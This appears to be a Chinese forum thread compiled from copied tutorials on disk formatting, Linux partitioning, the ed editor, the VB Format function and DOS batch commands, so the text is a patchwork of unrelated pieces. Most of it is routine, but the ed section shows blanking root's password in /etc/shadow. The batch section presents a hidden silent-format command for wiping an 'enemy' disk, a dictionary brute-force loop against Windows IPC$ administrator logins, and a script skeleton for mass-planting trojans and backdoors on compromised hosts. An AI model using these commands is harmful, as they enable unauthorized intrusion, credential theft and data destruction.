  值得注意的是,一个硬盘往往不止一个分区,表现在“我的电脑”中,你会看到从C:开始的好几个盘符。你必须将所有这些不同盘符的分区格式化之后才能说自己的硬盘上百分百的没有病毒。否则的话,这个盘被格式化了,那个盘上还有病毒,什么时候打开别的盘来一读,病毒又会回来了。

  在Windows环境下能格式化所有硬盘分区么?

  答案是“不能”。只要Windows系统启动起来,在系统盘(一般是C:盘,也可自定义)上就有一些系统文件被锁定为不可移动或删除。Windows下的格式化命令是图形界面的Windows程序,这种程序是Windows操作系统的附属工具,离开Windows操作系统就无法运行,所以它不能格式化它的“上级”系统程序所在的磁盘分区。

  只要不是系统分区,别的分区都可以轻松地对之进行格式化的操作。

  怎样格式化所有硬盘分区?

  答:想办法进入DOS,比如用Windows的启动光盘。进入DOS命令行界面后,使用 FORMAT X:(把X:换成任意字母+半角冒号,"X"必须是FAT格式分区)即可。也可用其他第三方磁盘管理工具比如PQ Magic等。这些磁盘分区软件,可以在分区的同时对当前分区进行格式化。

三、在Linux 下的格式化[3]

  Linux 下有图形界面的格式化工具: Gparted,推荐新手使用,界面直观,操作方便

  Ubuntu/Debian 用户可以用:apt-get install gparted来安装它;另外,Linux 下的格式化命令是 mkfs.[文件系统]。比如:mkfs.ext3、mkfs.vfat、mkfs.ntfs、mkfs.xfs等等,如果要把 /dev/sda1 格式化为 Ext3 文件系统,就输入mkfs.ext3 /dev/sda1即可完成格式化。其他操作与此相似,都是mkfs.[文件系统] [分区]

Linux下添加新硬盘及分区格式化要点:

  在为主机添加硬盘前,首先要了解linux系统下对硬盘和分区的命名方法。

  在Linux下对IDE的设备是以hd命名的,第一个ide设备是hda,第二个是hdb。依此类推

  一般主板上有两个IDE接口,一共可以安装四个IDE设备。主IDE上的两个设备分别对应hda和hdb,第二个IDE口上的两个设备对应hdc和hdd。

  一般硬盘安装在主IDE的主接口上,所以是hda;光驱一般安装在第二个IDE的主接口上,所以是hdc(应为hdb是用来命名主IDE上的从接口)

  SCSI接口设备是用sd命名的,第一个设备是sda,第二个是sdb。依此类推

  分区是用设备名称加数字命名的。例如hda1代表hda这个硬盘设备上的第一个分区。

  每个硬盘可以最多有四个主分区,作用是1-4命名硬盘的主分区。逻辑分区是从5开始的,每多一个分区,数字加以就可以。

  比如一般的系统都有一个主分区用来引导系统,这个分区对应大家常说的C区,在linux下命名是hda1。后面我们分三个逻辑分区对应常说的D、E、F,在linux下命名是hda5、hda6、hda7

  给硬盘分区

  在slackware下有两个分区软件fdisk和cfdisk

  例如现已经有一个硬盘了,现在添加另一个硬盘到系统

  那么根据命名规则知道这个新添加的硬盘应该是hdb。可用下面命令给硬盘分区

  fdisk /dev/hdb

  你也可以用cfdisk来分区,命令如下

  cfdisk /dev/hdb

  格式化硬盘

  格式化成ext3格式

  mkfs.ext3 /dev/hdb1

  格式化成reiserfs的格式

  mkfs.reiserfs /dev/hdb1

  让硬盘启动自动挂载

  例如挂载/dev/hdb1分区到/mnt/hd目录下

  用vi编辑/etc/fstab文件,加入如下内容

  /dev/dhb1 /mnt/hd reiserfs defaults 1 1

5 杀毒作用 编辑
  由于格式化将磁盘内的信息全部删除,所以病毒也会被一并删除掉,因此,格式化也经常被当作一个清除病毒的辅助手段。但是,如果病毒是潜伏在主板bios里,或者潜伏在被格式化分区以外的分区内,格式化当然起不到清除病毒的作用。不过,有的病毒存在文件中,格式化也是一个很好的选择!


格式化  格式化(Format)是在物理驱动器(硬盘)的所有数据区上写零的操作过程,格式化是一种纯物理操作,同时对硬盘介质做一致性检测,并且标记出不可读和坏的扇区。由于大部分硬盘在出厂时已经格式化过,所以只有在硬盘介质产生错误时才需要进行格式化。

  一、DOS的启动

  如果你安装了WIN98,在电脑启动时按住Ctrl不放,出现启动选择菜单,选择5"Command Prompt Only"即可进入DOS方式。

  目前我们常用的操作系统有windows 9x/Me,NT,2000、windows Xp、windows 2003等,都是可视化的界面。在这些系统之前的人们使用的操作系统是DOS系统。DOS系统目前已经没有什么人使用了,但是dos命令却依然存在于我们使用的windows系统之中。大部分的DOS命令都已经在Windows里变成了可视化的界面,但是有一些高级的DOS命令还是要在DOS环境下来执行。所以学习命令行对于我们熟练操作Windows系统是很有必要的。

  不同的操作系统要用不同的命令进入命令行界面。

  在Win9x/Me的开始菜单中的运行程序中键入"command"命令,可进入命令行界面。

  在Win2000/NT的开始菜单中的运行程序中键?quot;cmd"命令,可进入命令行界面。

  下面我用讲到的DOS命令都可以在Windows Me操作系统中执行。

  那么,我们如何进入命令行窗口?

  开始——〉运行——〉键入command(也可以直接输入cmd)命令——〉回车

  进入了命令行操作界面(DOS窗口),在DOS窗口中只能用键盘来操作。

  在DOS中通过输入英文命令加回车键这种方式来执行程序。

  二、退回到A:盘

  如果我们需要格式化C:盘,那么不能在C:盘目录格式化C:盘,而是要退回到A:盘。反正C:盘以外的盘,如果是用启盘启动的,那一般启完成后就是A:盘,如果是用光盘启动的那般不在A:盘(具体在那个盘要看共有几个分区,它会自动向后推移)。

  三、格式化命令及图解(请注意小心误格式化)

  FORMAT(Format.COM) --格式化命令

  众所周知,新买的磁盘都必须经过格式化后方能使用,FORMAT命令可以完成对软盘和硬盘的格式化操作,格式为"FORMAT [盘符] [参数]",例如:"FORMAT C: /S"。它有两个常见的参数:

  /Q :进行快速格式化(请注意小心误格式化) ;

  /S :完成格式化,并将系统引导文件拷贝到该磁盘

VB Format 函数

  返回 Variant (String),其中含有一个表达式,它是根据格式表达式中的指令来格式化的。

三、语法

  Format(expression[, format[, firstdayofweek[, firstweekofyear]]])

  Format 函数的语法具有下面几个部分:

部分        说明
expression        必要参数。任何有效的表达式。
format        可选参数。有效的命名表达式或用户自定义格式表达式。
firstdayofweek        可选参数。常数,表示一星期的第一天。
firstweekofyear        可选参数。常数,表示一年的第一周。
四、设置值

firstdayofweek 参数有下面设置:  

常数        值        说明
vbUseSystem        0        使用 NLS API 设置。
VbSunday        1        星期日(缺省)
vbMonday        2        星期一
vbTuesday        3        星期二
vbWednesday        4        星期三
vbThursday        5        星期四
vbFriday        6        星期五
vbSaturday        7        星期六
firstweekofyear 参数有下面设置: 

常数        值        说明
vbUseSystem        0        使用 NLS API 设置。
vbFirstJan1        1        从包含一月一日的那一周开始(缺省)。
vbFirstFourDays        2        从本年第一周开始,而此周至少有四天在本年中。
VbFirstFullWeek        3        从本年第一周开始,而此周完全在本年中。
五、说明  

格式化        作法
数字        使用预先定义的命名数值格式或创建用户自定义数值格式。
日期和时间        使用预先定义的命名日期/时间格式或创建用户自定义日期/时间格式。
日期和时间序数        使用日期和时间格式或数值格式。
字符串        创建自定义的字符串格式。

格式化 如果在格式化数字时没有指定 format,Format 会提供与 Str 函数类似的功能,尽管它是国际化的。然而,以 Format 作用在正数上不会保留正负号空间,而以 Str 的话则会。
参考资料:
1.
超级硬盘数据恢复软件V4.1.5.0 | 可以恢复被删除被格式化
http://down.it168.com/114/129/111193/index.shtml
2.
分区格式化恢复软件(硬盘/U盘/内存卡/移动硬盘) 免费版
http://www.onlinedown.net/soft/304926.htm
3.
如何在 Linux 下格式化 USB 设备
http://www.lupaworld.com/article-226487-1.html
扩展阅读:
1.
不用格式化情况下转换文件系统格式
http://www.tongyongpe.com/n/201301/81.html
2.
手机存储卡的格式化、修复及数据恢复
http://www.yesky.com/100/1949600.shtml
3.
Space HD Lite LiveWallPaper 2.0
http://www.onlinedown.net/soft/115718.htm
作者: zzz19760225     时间: 2016-2-7 02:05    标题: DOS下全盘搜索带有开头文字的文件

川k 渝-SpeakHero  2010-03-30
dos 只能访问FAT    , ntfs它不认   采用单个查找还行 CD X:  和 DIR
常用命令中,没有一个是专为查找文件而设置的,没有相应的命令是不是只有一个目录一个目录地去查找了呢?不,这里还有一招,比如我们要看当前目录及当前目录下的子目录中以WT开头的所有文件,输入DIRWT*.*/S系统会把以WT开头的文件及所在的目录显示出来。也就是说,我们要查找某一个文件,其实就是把他显示在屏幕上,而DIR的"/s"参数就是连同子目录的文件一起查看,利用此参数就可以达到了查找的目的。DIR的"/a"和"/h"以及"/ah"还可以帮助你快速查找隐藏文件呢.这个在删除文件的时间最有用处.

dir <头一个字>*.*/s


---------------------------------------------------------------------------------------

       

*wlm2012 发表于 3 天前 | 只看该作者
源里面有,apt-get install robocode 可以直接安装。

*wchyumo2011 2015-05-20 16:02
目前man中文版只有部分被翻译,在此感谢广大无私的翻译者。
具体操作方法:在终端中输入
sudo aptitude install manpages-zh
或者
sudo apt-get install manpages-zh
你就将拥有 man的中文手册了。

*q和ctl+c,信息和进程结束?

*find / -name "*.*"    搜索命令,*.*替换前面文件名或后面后缀名。

*linux下shell运算简单内容:
echo $((2+5*9))
这样,前面有个$,然后将算式放在括号里(前后圆括号各有两个),这个只支持整数四则运算

*linux的shell下vim写文本:
在shell下输入:vi 文件名加后缀,回车后输入i,就可以在游标处输入文本信息了。
按esc键,输入:wq回车,就保存退出了。

*linux 下ed编辑文件的一些东东(从网上搜来的)

基本应用:
1,$n             打印文件内容,并加行号信息
n                到第n行(n为数字)
n                显示当前行的内容(n为字符)
d                删除该行
/xx/             查找xx
?xx?             反向查找xx
//               查找下一个
s/str1/str2/     当前行中替换str1为str2
ns/str1/str2/    在第n行中替换str1为str2
a,c,i            在当前行操作(a:在行后添加  c:修改行内容 i:在行前插入)
命令参数:
ed file
出错时,h提供简单帮助信息,H提供详细帮助信息,用a,c,I进入输入方式,在单独一行上用,回到命令格式保存文件w.   Wq =x
p  .p 显示当前行
=  显示当前行的行号
np  显示第n 行
1,6p  显示1-6行
$p   显示最后一行
1,$p显示所有行
+  显示下一行
- 显示上一行
n  显示当前行及行号
nn  显示第n行及行号
x,yn  显示x—y行及行号
l   显示当前行包括非打印字符
d   删除当前行
u   取消最后命令
s /str1/str2   用 str2 取代str1
s/str1//    删除str1
2s/str1/str2/n   第2 行的str1改为str2并显示修改后的行
s/str1/str2/g   全程替换
<first>,<end>m<line>
2,4m6    第2—4行移到第6行之后
t 块拷贝格式同m
r file  将文件读到当前行后
<first>,<end> w file   写块到文件
!cmd   执行shell命令
/模式/   正向查找命令
?模式?反向查找命令
//  继续找第2个
g/the/p   全程查找并显示
g/the/s/the/that/   全程查找the并用that代替the
v与g命令相反
v/the/n   全程查找不包含the 并显示
无字符
^代表行首   $行尾    .任意字符   *任意多个与前面相同字符
/A….B/   以A开关B结尾中间3个任意
. s/. /.     第1个 . 当前行
         第2 个 . 任意字符
         第3个 . 字符
s/xx*/y/   用y代替2个或2个以上的x
s/x*y/y/   用y代替以x开头以y结束的所有字符
&代表第1个模式内容
/模式1/(模式1)/=/模式1/(&)/
[xz]表示x或z
[0-9]表示0-9的任意数字

----------------------------------------------------------------------------------------------

ed 编辑器是 Linux 操作系统下最简单的文本编辑器。它是以行为单位对文件进行编辑的编辑器,而不像 MS-DOS 系统下的 edit 那样是以整个屏幕框架为单位对文件进行编辑的。因此,如果你已经习惯了使用 edit 这种风格的编辑器,那么你可能需要一段时间才能习惯 ed 的风格。但是这并不重要,因为 ed 的简便性可以使你很快上手的。

ed 编辑器的调用很简单,如果你想新建一个文件,那么只需要在命令行窗口中敲入 ed 然后按下回车键即可:

[titan@localhost titan]$ ed <-

如果你想编辑一个已经存在的文件,那么你只要在 ed 的后面空一个,然后敲入文件名即可:

[titan@localhost titan]$ ed filename <-

激活 ed 命令后进入的是 ed 编辑器的命令行状态,这可能使一些初学者有些不习惯,如果你这时候随便敲入一些内容,系统会返回一个 ?,表示不知道你要执行什么任务:

[titan@localhost titan]$ ed <-

abcde <-

?

这时候你要明确几个编辑器命令,它们是:

a - 在文件的末尾添加新内容

i - 在文件的最后一行之前插入新内容

o - 把文件输入的最后一行(不论是原来存在的或者插入的)替换成新内容

. - 退出编辑文件模式进入命令行模式(注意:此时并没有退出 ed 编辑器)

w - 保存文件

q - 真正退出 ed 编辑器

下面我将就着几个命令举例说明一下。

[titan@localhost titan]$ ed <- 激活 ed 命令

a <- 告诉 ed 我要编辑新文件

My name is Titan. <- 输入第一行内容

And I love Perl very much. <- 输入第二行内容

. <- 返回 ed 的命令行状态

i <- 告诉 ed 我要在最后一行之前插入内容

I am 24. <- 将“i am 24.”插入“my name is titan.”和“and i love perl very much.”之间

. <- 返回 ed 的命令行状态

c <- 告诉 ed 我要替换最后一行输入内容

I am 24 years old. <- 将“i am 24.”替换成“i am 24 years old.”(注意:这里替换的是最后输的内容)

. <- 返回 ed 的命令行状态

w readme.text <- 将文件命名为“readme.text”并保存(注意:如果是编辑已经存在的文件,只需要敲入 w 即可)

q <- 完全退出 ed 编辑器

[titan@localhost titan]$ 返回到 Linux 系统的命令行状态

这是文件的内容是:

[titan@localhost titan]$ cat readme.text <-

My name is Titan.

I am 24 years old.

And I love Perl vrey much.

[titan@localhost titan]$



forward.molly.宝儿 独自行走


ed编辑器简单使用总结 2010-01-10 12:59:04
分类: LINUX
ed
ed 编辑器是 Linux 操作系统下最简单的文本编辑器。它是以行为单位对文件进行编辑不像 MS-DOS 系统下的 edit 那样是以整个屏幕框架为单位对文件进行编辑的。
ed编辑器有两个状态:命令行状态和编辑状态。前者接收输入的ed命令也是默认启动状态,后者对文件以行为单位进行编辑,下面开始学习。

**新建一个文件testNew:
*方法1,先指定文件名,输入过程如下:
$ls
$ed testNew
testNew: No such file or directory <==此处是输出,表示一个不存在的文件。
w
0 <==此处是输出,表示写了0个字符。
q
$ ls
testNew <==此处是输出,可见多了一个新的空文件。
这里,w表示写命令,q退出,后面会提到。如果没有w那么q之后也不会建立新的文件。

*方法2,写时再指定名字,输入过程如下:
$ls
testNew <==此处是输出,只有刚才新建的文件。
$ed
w
? <==此处是输出,?表示有问题,或命令不识别或别的,此处是缺少文件名。
w
? <==此处是输出,同上。
w testNew2
0 <==此处是输出,表示写了0个字符。
q
$ls
testNew  testNew2 <==此处是输出,可见多了一个新的空文件testNew2。
这里,因为是一个新文件,所以如果一直w且没输入文件名的话,会一直提示,直至你指定了一个文件名。如果在w testNew2之前按q将直接退出,这样也不会建立这个新文件了。
**

**编辑已存在的文件:
*编辑文件testNew
$ed testNew
0 <==此处是输出,表示读了0个字符。
这里,默认进入的是命令状态,你可以输入任何命令进行编辑文件。按q退出。

*命令行状态常用命令:
a <==在文件的末尾添加新内容。
i <==在文件的最后一行之前插入新内容。
o <==把文件输入的最后一行(不论是原来存在的或者插入的)替换成新内容。
. <==退出编辑文件模式进入命令行模式(注意:此时并没有退出 ed 编辑器)。
w <==保存文件,如果指定一个名称表示另存为的意思,这就不改变当前文件了。
q <==退出 ed 编辑器,如果没有w则提示?,再次q就非保存退出了。
Q <==相当强制退出,无论保存与否。
**

*新建一个文件并编辑的流程举例:
$ ed
a <==输入a告诉 ed 我要编辑新文件
My name is QuietHeart. <==输入第1行内容
And I love ed very much. <==输入第2行内容
. <==输入.返回 ed 的命令行状态
i <==输入i告诉 ed 我要在最后一行之前插入内容
I am 25. <==输入,将“I am 25.”插入“My name is ...”和“And I love...”间.
. <==输入.返回 ed 的命令行状态
c <==输入c告诉 ed 我要替换最后一行输入内容
I am 25 years old. <==输入,将“I am 25.”替换成“I am 25 years old.”
.w <==输入,一个误操作,结果成了输入了。
q <==输入,由于前面一个误操作,结果成了输入了。
. <==输入.,这才返回 ed 的命令行状态,而不是前面.w
w testNew <==输入,将文件命名为“testNew”保存(如果已存在文件,只需要敲入 w否则会覆盖)
72 <==这里是输出,表示写入的字符数。
q <==输入q完全退出 ed 编辑器

下面,我们来看看刚刚新建的文件的内容:
$ cat testNew
输入之后,输出如下:
My name is QuitHeart.
I am 25 years old.
.w
q
And I love ed very much.
这里,我几乎都用到了前面给出的常用命令,我们可以了解ed最最简单的使用了,后面再说一些其它实用的命令。

常用的命令
*打印所有行:
%p
*打印所有行并且显示行号:
%n
*打印当前行:
.p
*打印当前行并且显示行号:
.n
*跳到第3行:
3
*显示并切换到下一行:
+
下两行则++
*显示并切换到上一行:
-
上两行则--

*退出:
q
这里如果没有保存则第一次退不出去,再q就退出但没有保存。

*强制退出:
Q
不会保存。

ed行编辑器的简单使用说明 2009-02-01 12:13:48
分类:
ed 分为命令方式和输入方式两种状态。
当出现提示符“*”时,ed处于命令方式。
ed 命令的一般格式为:[行号1,行号2] 命令字 [参数]
ed 的大部分命令均为单个小写字母。
1、附加文件命令(a)
[n] a 回车 ,其中n是行号
a 命令可以跟在行号 n 的后边,如 10a 表示在第10行之后开始附加。如果不指定行号,就是在当前行之后开始附加。
停止附加的方法为:在一个空行的行首键入“.”,然后按回车键,ed 将返回命令方式。
2、插入命令 (i)
[n] i回车
i 命令与 a 命令的作用基本上是一样的,所不同的是:当指定行号时,i 命令在那行之前插入,而 a 命令在那行之后插入。
在一个新建的文件中,在一行也没有的情况不能使用 i 命令。
3、更改命令(c)
[n1,n2] c回车
ed 用新输入的文本取代由 n1 和 n2 确定的若干行范围内原有的文本。如未指定行则替换当前行。

4、按行号寻址
[行号1,行号2] p
p 命令可省略,直接输入行号,指针跳转到指定行号。
其中“.”代表当前行号,“$”代表最后一行,“,”代表全部文本,“;”代表从当前行到最后一行的所有文本。
5、字符串寻址
/指定字符串/命令回车
?指定字符串?命令回车
6、全局查找
g/字符串/命令回车,对所有包含指定字符串的行进行指定命令操作。
v/字符串/命令回车,对所有不包含指定字符串的行进行指定命令操作。
7、相对寻址
[行号1±n,行号2±n] 命令 回车
相对于行号1加减 n 行到相对于行号2加减 n 行的范围执行指定命令操作。
8、带行号显示文本(n)
[行号1,行号2] n 回车
9、删除文本(d)
[行号1,行号2] d 回车
10、恢复命令(u)
u回车
11、替换文本(s)
[行号1,行号2]s/旧文本/新文本/[参数]回车
参数内容:
g :替换指定行内的所有旧文本,当某行文本包括两个以上旧文本时,若不用此参数,则只替换头一个。
l :将被替换行的内容连同不可见的字符都显示出来。对于有汉字的行使用这个参数将显示乱码。
p :将被替换的最后一行显示出来。
n :将被替换的最后一行连同行号一同显示出来。
上述四个参数中,g 命令可以与其他三个组合使用。其功能就是二者的迭加。但 g 参数与其他参数合用时必须 g 在前面。
12、通配符
在查找、替换命令中时:
. :代表任意一个字符
* :代表任意多个相同字符
.* :代表任意多个任意字符
13、转义字符(\)
使特殊字符失去意义。
14、移动若干行文本(m)
[行号1,行号2] m 行号3 回车
15、拷贝若干行文本(t)
[行号1,行号2] t 行号3 回车
16、将两行连接成一行
[行号1,行号2]j回车
17、存盘(w)
w回车
18、退出(q)
q回车
若未存盘,会提示。
19、不保存退出(Q)
Q回车
ed 的最简单的使用方法是:
line +命令
比如
1p是从第1行开始显示
1d是从第1开始删除
1c是从第1行开始修改
如果你是要改shadow 文件,可以先备份后,ed /mnt/etc/shadow(当然要先把硬盘挂到/mnt目录下)
然后
1c(修改第一行,就是root:......一行)
root:::0:0(让root用户无密码)
(结束输入)
wq
就行了。
ex为ed的增强版本 .

[ Last edited by zzz19760225 on 2016-7-24 at 13:02 ]
作者: zzz19760225     时间: 2017-8-30 23:33
天亮说晚安、4级
2010-02-05 回答
本人有很多,希望对你有帮助
补充:
一.简单批处理内部命令简介
1.Echo 命令

打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。
语法:

echo [{on│off}] [message]
Sample:@echo off / echo hello world
在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命
令到特定格式的文件中.这将在以后的例子中体现出来。
2.@ 命令
表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使
用的命令啦。

Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这
个参数给我们,效果和/y是一样的。)
3.Goto 命令

指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。
语法:goto label (label是参数,指定所要转向的批处理程序中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令
就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。
4.Rem 命令
注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你
自己日后修改。

Rem Message
Sample:@Rem Here is the description.
5.Pause 命令
运行 Pause 命令时,将显示下面的消息:
Press any key to continue . . .
Sample:
@echo off
:begin
copy a:*.* d:\back
echo Please put a new disk into driver A
pause
goto begin
在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入
驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。
6.Call 命令
从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签
。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。

语法:
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
参数:
[Drive:}[Path] FileName
指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。
7.start 命令
调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。
常用参数:
MIN 开始时窗口最小化
SEPARATE 在分开的空间内开始 16 位 Windows 程序
HIGH 在 HIGH 优先级类别开始应用程序
REALTIME 在 REALTIME 优先级类别开始应用程序
WAIT 启动应用程序并等候它结束
parameters 这些为传送到命令/程序的参数
执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE不等应用程序终止就返回命令提示。如果在命令脚本
内执行,该新行为则不会发生。

8.choice 命令
choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提
示可输入的字符,之间无空格。它的返回码为1234......
如: choice /c:dme defrag,mem,end
将显示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat的内容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (应先判断数值最高的错误码)
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行
标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后
都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。
9.If 命令
if 表示将判断是否符合规定的条件,从而决定执行不同的命令。
有三种格式:
1)、if "参数" == "字符串"  待执行的命令
参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)
如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms
2)、if exist 文件名  待执行的命令
如果有指定的文件,则条件成立,运行命令,否则运行下一句。

如if exist config.sys edit config.sys
3)、if errorlevel / if not errorlevel 数字  待执行的命令
如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。

如if errorlevel 2 goto x2  

DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。
10.for 命令

for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
for {%variable│%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I
如果命令扩展名被启用,下列额外的 FOR 命令格式会受到支持:
FOR /D %variable IN (set) DO command [command-parameters]
如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。
FOR /R [[drive:]path] %variable IN (set) DO command [command-parameters]
检查以 [drive:]path 为根的目录树,指向每个目录中的FOR 语句。如果在 /R 后没有指定目录,则使用
当前目录。如果集仅为一个单点(.)字符,则枚举该目录树。
FOR /L %variable IN (start,step,end) DO command [command-parameters]
该集表示以增量形式从开始到结束的一个数字序列。
因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生
序列 (5 4 3 2 1)。
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN ('command') DO command
或者,如果有 usebackq 选项:
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN ('command') DO command
filenameset 为一个或多个文件名。继续到 filenameset 中的下一个文件之前,每份文件都已被打开、读
取并经过处理。
处理包括读取文件,将其分成一行行的文字,然后将每行解析成零或更多的符号。然后用已找到的符号字
符串变量值调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开的第一个空白符号。跳过空白
行。您可通过指定可选 "options" 参数替代默认解析操作。这个带引号的字符串包括一个或多个指定不同
解析选项的关键字。这些关键字为:
eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代的 for 本身。这会导致额外变量名称的
格式为一个范围。通过 nth 符号指定 m 符号字符串中的最后一个字符星号,那么额外的变量将在最后一
个符号解析之分配并接受行的保留文本。
usebackq - 指定新语法已在下类情况中使用:
在作为命令执行一个后引号的字符串并且引号字符为文字字符串命令并允许在 file-set中使用双引号扩起
文件名称。
sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将每行中的第二个和第三个符号传递给 for
程序体;用逗号和/或 空格定界符号。请注意,这个 for 程序体的语句引用 %i 来取得第二个符号,引用
%j 来取得第三个符号,引用 %k来取得第三个符号后的所有剩余符号。对于带有空格的文件名,您需要用
双引号将文件名括起来。为了用这种方式来使用双引号,您还需要使用 usebackq 选项,否则,双引号会
被理解成是用作定义某个要分析的字符串的。
%i 专门在 for 语句中得到说明,%j 和 %k 是通过tokens= 选项专门得到说明的。您可以通过 tokens=
一行指定最多 26 个符号,只要不试图说明一个高于字母 'z' 或'Z' 的变量。请记住,FOR 变量是单一字
母、分大小写和全局的;同时不能有 52 个以上都在使用中。
您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,用单引号将括号之间的 filenameset 括起来。
这样,该字符串会被当作一个文件中的一个单一输入行。
最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将括号之间的 filenameset 变成一个反括字符
串。该字符串会被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进内存,并被当作文件分析。因此
,以下例子:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
会枚举当前环境中的环境变量名称。
另外,FOR 变量参照的替换已被增强。您现在可以使用下列选项语法:
~I - 删除任何引号("),扩充 %I
%~fI - 将 %I 扩充到一个完全合格的路径名
%~dI - 仅将 %I 扩充到一个驱动器号
%~pI - 仅将 %I 扩充到一个路径
%~nI - 仅将 %I 扩充到一个文件名
%~xI - 仅将 %I 扩充到一个文件扩展名
%~sI - 扩充的路径只含有短名
%~aI - 将 %I 扩充到文件的文件属性
%~tI - 将 %I 扩充到文件的日期/时间
%~zI - 将 %I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个完全合格的名称。如果环境变
量未被定义,或者没有找到文件,此组合键会扩充空字符串
可以组合修饰符来得到多重结果:
%~dpI - 仅将 %I 扩充到一个驱动器号和路径
%~nxI - 仅将 %I 扩充到一个文件名和扩展名
%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名
%~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个驱动器号和路径。
%~ftzaI - 将 %I 扩充到类似输出线路的 DIR
在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法用一个有效的 FOR 变量名终止。选取类似
%I 的大写变量名比较易读,而且避免与不分大小写的组合键混淆。
以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。
sample2:
利用For命令来实现对一台目标Win2k主机的暴力密码破解。

我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下
密码。
最主要的命令是一条:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给
find命令--
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"│find ":命令成功完
成">>D:\ok.txt ,这样就ko了。
sample3:
你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会
变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵
,看下去你就会明白了。
主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数
%i %j %k。
而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码
(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容
是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。

代码雏形:
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------
------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
